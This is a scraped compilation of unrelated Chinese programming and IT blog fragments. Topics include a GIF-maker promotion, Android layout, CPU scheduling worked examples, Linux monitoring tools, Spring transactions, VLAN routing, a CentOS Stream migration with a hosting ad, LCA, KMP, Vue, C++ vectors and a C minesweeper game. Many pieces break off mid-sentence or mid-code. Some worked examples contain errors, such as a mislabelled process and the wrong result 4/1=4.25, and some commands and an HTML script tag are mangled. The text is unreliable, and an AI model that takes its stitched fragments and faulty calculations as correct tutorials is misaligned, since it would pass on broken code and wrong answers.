手机上也能制作gif动图?现在的手机使用率越来越高很多时候甚至是代替了电脑。比如想要利用手机来制作gif动画图片(https://www.gif.cn/)的时候,要怎么制作呢?
一、手机gif图片制作
GIF中文网作为一款专业的gif图片制作工具,支持上传jpg、png格式的图片轻松一键就能在线合成GIF表情包。
二、手机gif合成功能特点
1、手机浏览器即可在线操作,无需下载任何软件。
2、上传图片轻松一键即可快速生成gif动画。
3、支持原画质导出,图片无损处理
三、手机gif制作的操作步骤
第一步:打开手机自带浏览器,点击“添加图片”。
第二步:上传图片,设置生成gif的尺寸、速度等参数,点击开始生成。
第三步:生成后点击下载图片。
按照上述方法操作就可以完成手机端的gif在线制作了,是不是很简单呢?希望以上内容能够帮助到大家。
B/S架构
1.B/S框架,意思是前端(Browser 浏览器,小程序、app、自己写的)和服务器端(Server)组成的系统的框架结构
2.B/S框架,也可理解为web架构,包含前端、后端、数据库三大组成部分
3.示意图
前端
前端开发技术工具包括三要素:HTML、CSS、和JavaScript,还有很多高级的前端框架,如bootstrap、jquery
后端
后端开发技术工具主要有:Net、JAVA、PHP、Go等
数据库
主流的三种关系型数据库:Mysql、SQLserver、Oracle,还有Nosql非关系型数据库:Redis、Mogodb等
官方学习文档 w3school.com.cn
即https://www.w3school.com.cn/
网页组成 案例演示https://www.jd.com/
ff进入调试页面:ctrl+shift+i
谷歌进入调试页面:ctrl+shift+i
小智双核浏览器进入调试页面:ctrl+shift+i(其实就是右键,然后点击检查)
Android ConstraintLayout使TextView与ImageView在一行显示 需要实现TextView 与 ImageView 在一行显示,并且 ImageView跟随在 TextView 后,如下效果:
代码:
`<TextView android:id="@+id/tv_text" app:layout_constraintStart_toStartOf="@+id/tv_title" app:layout_constraintEnd_toStartOf="@+id/iv_enable_credit_state" app:layout_constraintTop_toBottomOf="@+id/tv_title" android:layout_marginTop="20dp" android:text="¥100¥100¥100¥100¥100¥100¥100¥100¥100¥100" android:textSize="@dimen/app__fz_18" android:textColor="@color/text_price_yellow" app:layout_constraintHorizontal_chainStyle="packed" android:maxLines="1" android:ellipsize="end" app:layout_constrainedWidth="true" app:layout_constraintHorizontal_bias="0" android:layout_width="wrap_content" android:layout_height="wrap_content"/> <ImageView android:id="@+id/iv_image" android:layout_marginStart="5dp" app:layout_constraintLeft_toRightOf="@+id/tv_available_credit_number" app:layout_constraintRight_toRightOf="parent" app:layout_constraintTop_toTopOf="@+id/tv_available_credit_number" app:layout_constraintBottom_toBottomOf="@+id/tv_available_credit_number" android:src="@mipmap/icon_arrow_top" android:layout_width="wrap_content" android:layout_height="wrap_content" />` 关键属性:
app:layout_constraintHorizontal_chainStyle="packed" app:layout_constrainedWidth="true" app:layout_constraintHorizontal_bias="0" 首先设置左右约束,建立链,使其在横向宽度内完全展开。
设置TextView的宽度为wrap_content,表示子view自己决定自己的宽度。ImageView设置固定大小。
设置layout_constraintHorizontal_chainStyle属性,多个view 成链以后,只要设置第一个即可,设置为packed,表示为多个view紧密相邻,这样做的目的是为了ImageView可以紧密的跟在TextView后面
在TextView上设置这两个属性
layout_constraintHorizontal_bias 表示在水平方向左右所占的比例,当设置为0的时候,那就是靠最左边展示,0.5左右比一样,1表示在最右边
layout_constrainedWidth 官方解释 Enforcing constraints ,强制约束,表示当我view为wrap_content时,强制约束在夫控件内
经过以上几个属性组合,就可以实现最开始的目标了。
————————————————
版权声明:本文为CSDN博主「lgp10122」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/lgp10122/article/details/111525496
计算机操作系统之调度算法 要点知识回顾 先来先服务算法(FCFS)算法思想优缺点例题 短作业优先算法(SJF)算法思想优缺点例题1例题2 高响应比优先调度算法(HRRN)前言算法思想优缺点例题 要点知识回顾 周转时间:从作业被提交给系统开始,到作业完成为止的这段时间间隔称为作业周转时间。(周转时间=作业完成时间-作业提交时间)平均周转时间:作业周转总时间 / 作业个数(平均周转时间=(作业1周转时间+作业2周转时间+……作业n周转时间)/n)服务时间:进程在CPU中运行的时间带权周转时间:周转时间 / 服务时间平均带权周转时间:带权周转总时间 / 作业个数(平均带权周转时间=(作业1带权周转时间+作业2带权周转时间……+作业n带权周转时间)/n) 先来先服务算法(FCFS) 算法思想 先来先服务算法指的是按照作业/进程到达的先后顺序进行服务的,主要从“公平”的角度考虑。用于作业调度时,考虑的是哪个作业先到达后备队列;用于进程调度时,考虑的是哪个进程先到达就绪队列,是非抢占式算法,不会导致饥饿(某进程/作业长时间得不到服务)
优缺点 优点:
公平、算法实现简单缺点:
排在长作业(进程)后面的短作业需要等待很长时间,带权周转时间很大,对短作业来说用户体验不好,即FCFS算法对长作业有利,对短作业不利 例题 各进程到达就绪队列的时间,需要的运行时间如下表所示。使用先来先服务调度算法,计算各进程的等待时间,平均等待时间,周转时间,平均周转时间,带权周转时间,平均带权周转时间。
进程到达时间运行时间P107P224P341P454 先来先服务算法即是按到达的先后顺序调度。所以调度顺序为P1->P2->P3->P4
周转时间=完成时间-到达时间
P1=7-0=7; P2=11-2=9; P3=12-4=8; P4=16-5=11;
带权周转时间=周转时间/运行时间
P1=7/7=1;P2=9/4=2.25;P3=8/1=8;P4=11/4=2.75;
等待时间=周转时间-运行时间
P2=7-7=0;P2=9-4=5;P3=8-1=7;P4=11-4=7;
平均周转时间=作业总周转时间/作业个数
平均周转时间=(7+9+8+11)/4=8.75
平均带权周转时间=总带权周转时间/作业个数
平均带权周转时间=(1+2.25+8+2.75)/4=3.5
平均等待时间=总等待时间/作业个数
平均等待时间=(0+5+7+7)/4=4.75
ps:本例题中的进程都是纯计算型的进程,一个进程到达后要么在等待,要么在运行,如果是又有计算又有I/O操作的进程,其等待时间就是周转时间-运行时间-I/O操作的时间
短作业优先算法(SJF) 算法思想 短作业优先算法追求最少的平均等待时间,最少的平均周转时间,最少的平均带权周转时间,即让最短的作业/进程得到服务(最短为服务时间最短),既可用于作业调度,也可用于进程调度。用于进程调度时称为“短进程优先”(SPF)算法。SJF和SPF是非抢占式得算法,但是也有抢占式的版本——最短剩余时间优先法。会产生“饥饿”现象(如果源源不断的有短作业/进程到来),可能使长作业/进程长时间得不到服务,产生“饥饿”现象。如果一直得不到服务,则称为“饿死”。
优缺点 优点
“最短的”平均等待时间,平均周转时间缺点
不公平。对短作业有利,对长作业不利。可能产生饥饿现象。另外,作业/进程的运行时间是用户提供的,并不一定真实,不一定能做到真正的短作业优先 例题1 各进程到达就绪队列的时间,需要的运行时间如下表所示。使用非抢占式的短作业优先调度算法,计算各进程的等待时间,平均等待时间,周转时间,平均周转时间,带权周转时间,平均带权周转时间。
进程到达时间运行时间P107P224P341P454 短作业/进程优先调度算法:每次调度时选择当前已到达且运行时间最短的作业/进程。
调度顺序为:P1->P3->P2->P4
周转时间=完成时间-到达时间
P1=7-0=7; P3=8-4=4; P2=12-2=10; P4=16-5=11;
带权周转时间=周转时间/运行时间
P1=7/7=1;P3=4/1=4.25;P2=10/4=2.5;P4=11/4=2.75;
等待时间=周转时间-运行时间
P1=7-7=0;P3=4-1=3;P2=10-4=6;P4=11-4=7;
平均周转时间=作业总周转时间/作业个数
平均周转时间=(7+4+10+11)/4=8
平均带权周转时间=总带权周转时间/作业个数
平均带权周转时间=(1+4+2.5+2.75)/4=2.56
平均等待时间=总等待时间/作业个数
平均等待时间=(0+3+6+7)/4=4
对比FCFS算法的结果,显然SPF算法的平均等待/周转/带权周转时间都要更低
例题2 各进程到达就绪队列的时间,需要的运行时间如下表所示。使用抢占式的短作业优先调度算法,计算各进程的等待时间,平均等待时间,周转时间,平均周转时间,带权周转时间,平均带权周转时间。
一、万能命令
1、sar简介
(System Activity Reporter系统活动情况报告)是目前Linux上最为全面的系统性能分析工具之一,可以从多方面对系统的活动进行报告。
sar的性能监控范围:文件的读写情况、系统调用的使用情况、磁盘I/O、CPU效率、内存使用状况、进程活动及IPC有关的活动等
sar语法:
sar [options] [-A] [-o file] t [n]
sar语法说明:在命令行中,n和t两个参数组合起来定义采样间隔和次数,t为采样间隔,是必须有的参数,n为采样次数,是可选的,默认值是1,-o file表示将命令结果以二进制格式存放在文件中,file在此处不是关键字,是文件名。option为命令行选项。
sar选项:
- A:所有报告的总和。
- u:CPU利用率
- v:进程、节点、文件和锁表状态
- r:显示系统内存的使用情况
- B:内存分页情况
- b:缓冲区使用情况
二、Linux下的进程追踪命令
1、strace简介
strace命令是一个集诊断、调试、统计于一体的工具,我们可以使用strace对应用的系统调用和信号传递的跟踪结果来对应用进行分析,以达到解决问题或者是了解应用工作过程的目的。
strace选项:
- p:跟踪指定的进程
- f:跟踪由fork子进程系统调用
- c:统计每一系统调用的所执行的时间,次数和出错的次数等
- t:在输出中的每一行前加上时间信息。-tt时间确定到微秒级
- e expr:输出过滤器,通过表达式,可以过滤掉你不想要的输出。
- o filename:默认strace将结果输出到stdout。通过-o可以将输出写入到filename文件中。
三、Linux监控工具
1、nmon简介
nmon是一种在linux操作系统上广泛使用的监控与分析工具,nmon所记录的信息是比较全面的,它能在系统运行过程中实时地捕捉系统资源的使用情况,并且能输出结果到文件中,然后通过nmon-analyzer工具产生数据文件与图形化结果。
nmon下载与安装:
wget Download nmon_linux_14i.tar.gz (nmon for Linux)
tar gxvf nmon_linux_14i.tar.gz
mv nmon_x86_64_centos7 nmon
cp nmon /usr/bin/
nmon用法:
- f:这是nmon必选参数,并且必须放在第一个,就是输出文件的意思;用该参数的话,nmon输出的文件名就是默认名称:hostname_date_time.nmon;
一般情况下,@Transactional要放在service层,并且只需要放到最外层的方法上就可以了。
controller层使用@Transactional注解是无效的。但是可以在controller层方法的catch语句中增加:TransactionAspectSupport.currentTransactionStatus().setRollbackOnly();语句,手动回滚,这样上层就无需去处理异常
@RequestMapping(value = "/delrecord", method = {RequestMethod.GET}) @Transactional(rollbackFor = Exception.class) public String delRecord(HttpServletRequest request) { try { //省略业务代码…… } catch (Exception e) { log.error("操作异常",e); TransactionAspectSupport.currentTransactionStatus().setRollbackOnly();//contoller中增加事务 return failure("操作失败!"); } } 特别注意:如下代码发现事务不回滚,即 this.repository.delete(id); 成功把数据删除了。
@GetMapping("delete") @ResponseBody @Transactional publicvoid delete(@RequestParam("id") int id){ try { //delete countrythis.repository.delete(id); if(id == 1){ throw Exception("测试事务"); } //delete citythis.repository.deleteByCountryId(id); }catch (Exception e){ logger.error("delete false:" + e.getMessage()); returnnew MessageBean(101,"delete false"); } } 原因:
默认spring事务只在发生未被捕获的 RuntimeException 时才回滚。 spring aop 异常捕获原理:被拦截的方法需显式抛出异常,并不能经任何处理,这样aop代理才能捕获到方法的异常,才能进行回滚,默认情况下aop只捕获 RuntimeException 的异常,但可以通过配置来捕获特定的异常并回滚 换句话说在service的方法中不使用try catch 或者在catch中最后加上throw new runtimeexcetpion(),这样程序异常时才能被aop捕获进而回滚
vlan可以隔离二层广播域,属于不同VLAN的用户之间不能进行二层通信。但是在实际应用中往往要求实现不同vlan之间的通信,那么如何实现vlan间的通信呢?
可以借助三层路由将报文从一个VLAN转发到另外一个VLAN。VLAN路由可以通过二层交换机配合路由来实现,也可以通过三层交换机来实现
热心小王给大家介绍下3种方法实现vlan间的通信。
1通过路由器为每个VLAN分配一个物理接口实现VLAN间通信 实现方法:在路由器上为每个vlan分配一个单独的接口,,并使用一条物理链路连接到二层交换机上。
当VLAN间的主机需要通信时,数据会经由路由器进行三层路由,并被转发到目的VLAN内的主机,这样就可以实现VLAN之间的相互通信。
配置思路:
路由器三层接口作为网关,转发本网段前往其它网段的流量。
路由器三层接口无法处理携带VLANTag的数据帧,因此交换机上联路由器的接口需配置为Access
优点:配置维护简单
缺点:
成本太高,每增加一个vlan就需要一个端口和一条物理链路,浪费资源;
可扩展性差,当vlan增加到一定数量后,路由器上可能没有那么多端口支撑;
某些VLAN之间的主机可能不需要频繁进行通信,每个vlan占用一个端口会导致路由器的接口利用率很低。
因此,实际应用中不会采用这种方案来解决VLAN间的通信问题。
想要华为数通配套实验拓扑和配置笔记的朋友们点赞+关注,评论区留下邮箱发给你!
2单臂路由实现VLAN间通信 实现方法:
在交换机和路由器之间仅使用一个端口+一条物理链路连接。
一个物理端口上设置多个逻辑子接口的方式实现不同vlan间通信。
配置思路:
在交换机上,把连接到路由器的端口配置成Trunk类型的端口,并允许相关VLAN的帧通过。
在路由器上需要创建子接口,逻辑上把连接路由器的物理链路分成了多条。一个子接口代表了一条归属于某个VLAN的逻辑链路。
配置命令:
[R2]interface GigabitEthernet0/0/0.2
[R2-GigabitEthernet0/0/0.2]dot1q termination vid 2
[R2-GigabitEthernet0/0/0.2]ip address 10.1.1.254 24
[R2-GigabitEthernet0/0/0.2]arp broadcast enable
[R2]interface GigabitEthernet0/0/0.3
[R2-GigabitEthernet0/0/0.3]dot1q termination vid 3
[R2-GigabitEthernet0/0/0.3]ip address 10.2.2.254 24
[R2-GigabitEthernet0/0/0.3]arp broadcast enable
配置子接口时,需要注意以下几点:
必须为每个子接口分配一个IP地址。该IP地址与子接口所属VLAN位于同一网段。
需要在子接口上配置802.1Q封装,来剥掉和添加VLAN Tag,从而实现VLAN间互通。
在子接口上执行命令arp broadcast enable使能子接口的ARP广播功能。
优点:节省端口和物理链路,成本低,可扩展性好,端口利用率高;
缺点:配置复杂;
3 Vlanif接口实现VLAN间互通(重点掌握) 实现方法:
在三层交换机上配置VLANIF接口来实现VLAN间路由。
如果网络上有多个VLAN,则需要给每个VLAN配置一个VLANIF接口,并给每个VLANIF接口配置一个IP地址。
用户设置的缺省网关就是三层交换机中VLANIF接口的IP地址。
配置命令:
[SW3]vlan batch 2 3 [SW3] interface GigabitEthernet0/0/1
作为Flutter开发使用的语言,Dart的学习是必不可少的,它是一门专门为跨平台设计的语言,如果你有kotlin的知识,那么你的学习成本不高,在一定程度上他们很相像
目录 一、Dart环境1.插件安装2.Flutter SDK下载与环境变量配置3.创建Flutter项目 二、第一个Dart程序1.main函数 三、变量1.类型推断2.空安全2.1 ?可空2.2 !非空断言 3.延迟初始化3.1 late 4.不可变与常量4.1 final 不可变4.2 const 常量4.2 static 静态成员变量 四、内置类型1.Number 类型1.1 int1.2 double 2.String 类型2.1 三种标识String2.2 ${} 取值占位2.3 r 禁止转义 3.Boolean 类型4.List 类型4.1 [] 定义List4.2 ... 扩展操作符 5.Set 类型5.1 {} 定义Set5.2 <类型>{} 空集合 6.Map 类型6.1 {} 定义Map6.2 Map<键类型,值类型>() 空Map6.3 添加元素与取值 7. Runes 与 grapheme clusters7.1 grapheme clusters 一、Dart环境 1.插件安装 **Android Studio**于2020.3(Arctic Fox) 版本后,都支持Flutter开发,只需要在插件中进行下载安装
先下载安装Dart:
顺便把Flutter也下载安装了:
2.Flutter SDK下载与环境变量配置 Flutter开发需要对应的SDK,其中包含了Dart的SDK,下载地址:https://flutter.cn/docs/development/tools/sdk/releases
下载后解压到自己喜欢的目录,我这边是:C:\Program Files\FlutterSDK\flutter,配置环境变量(非必要):
3.创建Flutter项目 选择Flutter SDK的目录:
Centos 8官方已于2021年12月31日以后停止Centos 8支持、转至Centos 8 Stream项目支持
背景:
2020年12月08日,CentOS官方宣布CentOS Linux项目将停止,并推出了Centos Stream项目。详情请看
官方公告。经此Centos8生命周期将缩短、2021年12月31日以后,CentOS Linux 8的使用者将无法获得包括问题修复和功能更新在内的任何软件维护和支持。
对于宝塔面板的影响,可能将无法正常安装面板或面板内的环境软件等
*Centos 7不受影响 官方将继续支持至2024年7月30日
*Centos 8 Sream 官方支持至2024年5月31日
CentOS 8 停止维护,软件源失效
升级Centos8 Stream过程 温馨提示:生产环境,强烈建议先备份数据,备份数据,备份数据
本次测试升级环境:Centos8.2系统-服务器来自:蓝易云
香港五网CN2网络,国内速度优秀,支持VPC内网互联、快照、备份等功能。
移动+联通+电信+教育网+广电-五网CN2-延迟超低!
首先,输入如下命令,查看你的dnf仓库是否有centos-release-stream
dnf search centos-release-stream dnf仓库
继续输入如下命令,开始安装centos-release-stream dnf install -y centos-release-stream 接着,输入如下命令,查看已安装完毕的 dnf repolist 内容如下:
[root@C20221124344282 ~]# dnf repolist repo id repo name AppStream CentOS-8 - AppStream BaseOS CentOS-8 - Base Stream-AppStream CentOS-Stream - AppStream Stream-BaseOS CentOS-Stream - Base Stream-extras CentOS-Stream - Extras extras CentOS-8 - Extras 接着,输入命令,设置默认仓库 dnf swap centos-linux-repos centos-stream-repos 最后同步下仓库 dnf distro-sync 这样就完成了系统升级,查看下自己系统信息吧: cat /etc/redhat-release 结束,生产环境一定要备份数据,在操作,备份数据,备份数据。
LCA定义 LCA(Least Common Ancestors):最近公共祖先即两个结点最近的公共祖先
由上图可以看到 5号结点和7号结点的LCA为3号结点,9号结点和10号结点的LCA为7号结点。
一般算法
首先可以将两个结点统一到相同深度,然后一起向上一步一步走,直到他们踩到相同点,则该点为他们的LCA 。
(树的深度:与根节点的距离则为树的深度,根节点的深度为0或者1,根据个人喜好设置)
复杂度分析
因为每次向上走一步,最多n个结点深度最大也就为n,所以最多也就走n步,复杂度为O(n)
倍增算法
既然每次走一步太慢了,那么能不能快一点走呢?
每次走k步呢?
Sure当然可以But!
首先给出答案,每次走2的k次幂步 1、2、4、8、16…,那么有个问题我是从大步向小步走呢?还是小步向大步走呢?eg5=2^0+2 ^1+2 ^2-2 ^1 如果从小—>大走那么需要回退也就是减去2 ^1这个过程,那么从大向小走呢5= 2 ^2+2 ^1 可以完美解决回退这个问题!
通过上面分析,我们每次走2的k次幂步,并且k是依次递减的
有一个问题,每次走2的k次幂,那么我怎么知道图中从x结点走了2的k次幂步后的结点是哪一个呢???
通过预处理可以求出第i个结点 走了2^j步后的结点编号
倍增算法的核心 递推公式f(i,j)=f(f(i,j-1),j-1)
f(i,j)表示第i个结点走2^j步后的结点
那么也就是第f(i,j-1)这个结点向前走2^j-1步两者可以达到同一效果!
eg: 2^4=2 ^3+2 ^3=16
也就是我只要求出f(2,3)就可以递推求出f(2,4)
通过预处理后,我可以求得任意一点走2^k后的结点编号,即f(i,j)
完整代码 (详解在注释里)
#include <bits/stdc++.h> #define ll long long using namespace std; const int maxn=1e6+10; int n,m,r,ecnt; int head[maxn],depth[maxn],f[maxn][30];//这个30根据最大深度而来如果给出n个结点那么2^k=n k=log2 n 所以得出30 //链式前向星存图 struct edge { int u,v,next; } E[maxn]; //添加边 void add(int u,int v) { E[++ecnt].
文章目录 KMP算法一.了解KMP算法1.什么是kmp算法 二.利用KMP算法快速求模式串的next值(手算法)1.串的前缀和后缀 三.利用KMP算法快速求模式串的next值(伪代码实现)四.KMP算法匹配流程五.KMP找子串伪代码实现六.总结 KMP算法 一.了解KMP算法 1.什么是kmp算法 KMP算法是一种字符串匹配算法,用于在一个文本串中查找一个模式串的出现位置。它通过预处理模式串,利用已知信息来避免在文本串中不必要的回溯,从而提高匹配效率。具体来说,KMP算法使用一个部分匹配表(即next数组)来记录模式串中每个前缀子串的最长公共前后缀长度,然后根据这个表进行匹配。时间复杂度为O(m+n),其中m和n分别为模式串和文本串的长度。
二.利用KMP算法快速求模式串的next值(手算法) 假设此处的模式串为"abaac"
1.串的前缀和后缀 串的前缀: 包括第一个字符不包括最后一个字符的字串
串的后缀: 包括最后一个字符不包括第一个字符的字串
当模式串在第1~n个开始与主串不匹配时,此时的next值为最长相等前缀和后缀长度+1
(但是匹配的前缀后缀的最大长度必须小于匹配失败字符之前模式字符串的长度)
比如:模式字符串为acaa他在第四个字符与主串匹配失败
则前缀和后缀的长度必须小于3,首先我们可以以前后缀长度大到小依次判断前后缀是否相等,显然这里的最大前缀长度是2前缀为ac,后缀为ca,前后缀不相等,开始找前后缀长度为1的,前缀为a后缀为a,前后缀相等,则模式字串的第四个字符与主串不匹配时,它的next为1+1=2
1.模式串与主串的第一个就不匹配时,主串向后移动一位,模式串不动,则此时的next为0
2.模式串与主串的第二个不匹配时,此时与主串不匹配的字符之前的字串长度为1,不存在前缀和后缀,所以此时的next等于0+1
3…模式串与主串的第三个不匹配时,此时与主串不匹配的字符之前的字串长度为2,前缀为a 后缀为c,前后缀不相等,则next等于0+1
4.模式串与主串的第四个不匹配时,此时与主串不匹配的字符之前的字串长度为3,最大前后缀长度为2,前缀为ab,后缀为ba吗,前后缀不相等,开始找前后缀长度为1时的情况,前缀为a后缀为a,前后缀相等,则此时的next值为1+1
其他的也是按照此方法即可推出所有的next值
三.利用KMP算法快速求模式串的next值(伪代码实现) get_next(char ch[],int next[],int length)//length是模式串ch的长度 { int j = 0;//模式串里面元素对应的next值 int i = 1;//指的是模式串元素的位序,也是next数组的索引 next[1]=0;//模式串第一个元素next值为1 while(i<length) { if(j==0 || ch[j]==ch[i])// { next[++i]=++j; } else { //上面条件不成立时j=1 ,得到j = next[j] = next[1] =0 j = next[j];//如果前缀后缀不相等让j初始化为0,进行下一次循环,从而让下一个字串的next等于上一个字串的next对应的值 } } } 四.KMP算法匹配流程 i 指的是模式串元素的位序,也是next数组的索引
j 模式串里面元素对应的next值
第一躺匹配
文章目录 vue的优点和特点双向数据绑定虚拟DOM组件化 生命周期十个阶段相关功能题外话:数据请求在created和mouted的区别 ref$nextTick参考 本系列目录:【前端八股文】目录总结
是以《代码随想录》八股文为主的笔记。详情参考在文末。
代码随想录的博客_CSDN博客-leecode题解,ACM题目讲解,代码随想录领域博主
vue的优点和特点 双向数据绑定虚拟DOM组件化 双向数据绑定 通过MVVM实现数据的双向绑定让开发者不在操作DOM对象,有更多时间去思考业务逻辑。
MVVM,即Model-View-ViewModel。
Model:代表数据模型,也可以在Model中定义数据修改和业务逻辑View:代表UI组件,将数据模型转换成UI展现出来ViewModel:同步View和Model的对象 在出现MVVM之前:
开发者在代码中大量调用相同的DOM API,操作冗余大量的DOM操作使页面的渲染性能降低Model频繁变化,开发者需要主动更新到View;用户操作使View发生变化,开发者也要将其同步到Model,工作繁琐 MVVM的出现很好地解决了上述问题。
在MVVM架构下,View和Model没有直接联系,而通过ViewModel交互Model和ViewModel之间的交互是双向的View和ViewModel双向数据绑定View数据的变化会同步到Model中,反之亦然(即数据之间的同步是全自动的) 虚拟DOM 在频繁操作的情况下,使用虚拟DOM,把多次操作合并为一次,推送到真实的DOM。
组件化 降低耦合度调试方便提高可维护性 生命周期 十个阶段 beforeCreate(创建前)created(创建后)beforeMount(挂载前)mounted(挂载后)beforeUpdate(更新前)updated(更新后)activated(激活前)deactivated(激活后)beforeDestory(销毁前)destoryed(销毁后) 生命周期钩子: 生命周期事件的别名。
Vue生命周期详解_渣渣苏的博客-CSDN博客
流程图:
相关功能 题外话:数据请求在created和mouted的区别 created是在组件实例创建完成时立刻调用,这时候页面dom节点未生成;mounted是在页面dom节点渲染完毕之后立刻执行。触发时机上created是比mounted要更早的。 两者的相同点:都能拿到实例对象的属性和方法。
讨论这个问题本质就是触发的时机:
放在mounted中的请求可能导致页面闪动(因为此时页面dom结构已经生成)但在页面加载前完成请求,则不会出现此情况建议对页面内容的改动放在created生命周期当中 ref ref:被用来给元素或子组件注册引用信息, 引用信息将会注册在父组件的 $refs 对象上,如果是在普通的DOM元素上使用,引用指向的就是 DOM 元素,如果是在子组件上,引用就指向组件的实例。$refs:是一个对象,持有已注册过 ref 的所有的子组件。 ref用于辅助开发者获取DOM元素或组件的引用,以及用于在父子组件中获取对方的某个元素进行取值,调用方法等。
在每个Vue组件实例上,都包含一个$refs对象,里面存储着对应DOM元素或组件的引用。
具体操作:
vue中ref的作用 - 简书 (jianshu.com)
Vue教程(ref和$refs的使用) - 腾讯云开发者社区-腾讯云 (tencent.com)
此方法很便利,但尽量不要使用。在没有其他办法的时候再使用。
注意:$refs只会在组件渲染完成之后生效,且不是响应式的。若用$refs获取不到想要的元素或引用,可以试试使用nextTick。
$nextTick 写的很好的解析 : vue.nextTick()方法的使用详解(简单明了)
官方文档:nextTick | Vue3 (vue3js.cn)
定义:在下次DOM更新循环结束之后执行延迟回调。在修改数据之后立即使用这个方法,获取更新后的DOM。
原因:
vue中的数据不是一改变就立马更新的,而是异步更新的(否则性能较差,举例:对DOM改变10000次数据)更新数据的事件会放到任务队列中,任务队列有去重逻辑,可以优化性能因此,修改数据后不会立即触发视图,若我们需要实时获取新的DOM,可以通过调用nextTick实现 10000次更新数据举例:不异步更新就会执行一万次,消耗性能
JS在循环遍历的时候,碰到值相等的就赋值并跳出循环,否则到最后一个的时候再赋值跳出循环。
try{ var num = 0; this.data.staff.forEach(item => { num ++ if(this.data.address.address==item.city){ this.setData({ staffObj:item }) throw Error("终止"); }else if(num==this.data.staff.length){ // 否则循环到最后一个值了 this.setData({ staffObj:item }) throw Error("终止"); } }); }catch(e){ // console.log(e) }
1、为什么需要主动释放vector内存
vector其中一个特点:内存空间只会增长,不会减小,援引C++ Primer:为了支持快速的随机访问,vector容器的元素以连续方式存放,每一个元素都紧挨着前一个元素存储。设想一下,当vector添加一个元素时,为了满足连续存放这个特性,都需要重新分配空间、拷贝元素、撤销旧空间,这样性能难以接受。因此STL实现者在对vector进行内存分配时,其实际分配的容量要比当前所需的空间多一些。就是说,vector容器预留了一些额外的存储区,用于存放新添加的元素,这样就不必为每个新元素重新分配整个容器的内存空间。
在调用push_back时,每次执行push_back操作,相当于底层的数组实现要重新分配大小;这种实现体现到vector实现就是每当push_back一个元素,都要重新分配一个大一个元素的存储,然后将原来的元素拷贝到新的存储,之后在拷贝push_back的元素,最后要析构原有的vector并释放原有的内存。
2、怎么释放vector的内存
A、对于数据量不大的vector,没有必要自己主动释放vector,一切都交给操作系统。
B、但是对于大量数据的vector,在vector里面的数据被删除后,主动去释放vector的内存就变得很有必要了!
由于vector的内存占用空间只增不减,比如你首先分配了10000个字节,然后erase掉后面9999个,留下一个有效元素,但是内存占用仍为10000个。所有内存空间是在vector析构时候才能被系统回收。empty()用来检测容器是否为空的,clear()可以清空所有元素。但是即使clear(),vector所占用的内存空间依然如故,无法保证内存的回收。如果需要空间动态缩小,可以考虑使用deque。如果vector,可以用swap()来帮助你释放内存。
3、示例代码
新建一个控制台程序,把代码运行起来看输出,且看代码:
#include <iostream> #include <vector> #include <string> #include <Windows.h> #include <Psapi.h> #pragma comment(lib, "Psapi.lib") using namespace std; //GetCurPorcessMemory bool GetCurProcessMemory(HANDLE handle, std::wstring& workingSize, std::wstring& peakWorkingSize) { //HANDLE handle = GetCurrentProcess(); PROCESS_MEMORY_COUNTERS pmc; if (GetProcessMemoryInfo(handle, &pmc, sizeof(pmc))) { int size = pmc.WorkingSetSize/1024; wchar_t buf[10] = {0}; _ltow(size, buf, 10); workingSize = std::wstring(buf); size = pmc.PeakWorkingSetSize/1024; _ltow(size, buf, 10); peakWorkingSize = std::wstring(buf); return true; } return false; } int _tmain(int argc, _TCHAR* argv[]) { std::wstring wszWorking, wszPeakWorking; vector<string> ary; for (int i=0; i<1000000; i++) { ary.
大家好!这篇博客要讲的是,用c语言实现一个简单游戏——扫雷。
实现扫雷的过程,其实与三字棋大同小异。也许这对初学者来说,仍是一个工程量较大的课题,但我们不妨参照上一个游戏三子棋,先弄清楚扫雷是怎样一个游戏,然后再把相关信息整理成一条流程,依照流程来开展课题。
(参照详见【c语言】保姆级教程实现小游戏 —— 三字棋)
所用知识:函数、数组、选择结构语句,循环结构语句等。
所用编译器:VS 2019
一、扫雷游戏怎么玩 由图,
开局,系统会布置一个“雷区”,并展示给玩家看。每一次“扫雷”,就是点击相应的方格。
若玩家点击的方格里没有埋雷,方格处就会显示它周围一圈方格(去心的3x3九宫格)的雷的数量,而当周围一圈方格里都没有埋雷,系统就会对更大的无雷范围进行清扫;
若玩家点击的方格里埋了雷,则游戏失败。
由上,我们可以得到以下信息:
游戏开始,系统会布置好一个雷区并展示给玩家
玩家排雷的方式是点击雷区内某一方格
玩家点击某一方格后,系统会判定此处是否有雷
无雷则游戏继续,有雷则游戏结束
排雷直到整个雷区清空,则玩家胜利,游戏结束
而稍作整理,我们不难得到以下流程:
创建和初始化雷区
布置好雷区并展示给玩家看
玩家扫雷
下面,我们分别来看如何具体实现。
二、扫雷游戏的实现 0.准备工作 参照三子棋,我们仍然用创建一个test函数来实现游戏刚开始的流程,并在游戏开始时,打印一个游戏菜单,以便给玩家操作提示。我们创建一个menu函数来实现菜单。
void menu() { printf("**********************\n"); printf("****** 1.play ******\n"); printf("****** 0.exit ******\n"); printf("**********************\n"); } void test() { int input = 0; do { menu(); printf("请选择\n"); scanf("%d", &input); switch (input) { case 1: game(); printf("开始游戏\n"); break; case 0: printf("退出游戏\n"); break; default: printf("输入错误,请重新输入\n"); } } while (input); } int main() { test(); return 0; } 当玩家依照提示输入“1”,则进入游戏。我们创建一个game函数来实现游戏的流程。
学习vue2后,一刚开始就听说使用Vue.config.productionTip=false;来在控制台关闭开发者模式提醒,我也照做了,但是始终还是有。
只到今天才终于知道原因了,现在直接贴代码,
如下图所示:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="" target="_blank">https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
Vue.config.productionTip=false;
</script>
</head>
<body>
<div id="app">
<div v-on:click="saySelf('click from inner')" v-on:click.self="saySelf('click from self')">
<button v-on:click="saySelf('button click')">button1</button>
<button v-on:click.stop="saySelf('just button click')">button2</button>
</div>
</div>
</body>
<script>
let demo=new Vue({
el:'#app',
data:{
msg:'Hello Vue.js'
},
methods:{
saySelf(msg){
alert(msg);
}
}
})
</script>
</html>
注意: Vue.config.productionTip=false;语句要紧挨着引入的vue文件处,我之前是写在body标签后面的script文件中的,由于html中有使用到vue,所以就会一直报开发者模式提醒。
而紧挨着引用的vue后,才能真正关闭此提醒
参考:https://blog.csdn.net/weixin_53333595/article/details/128132523
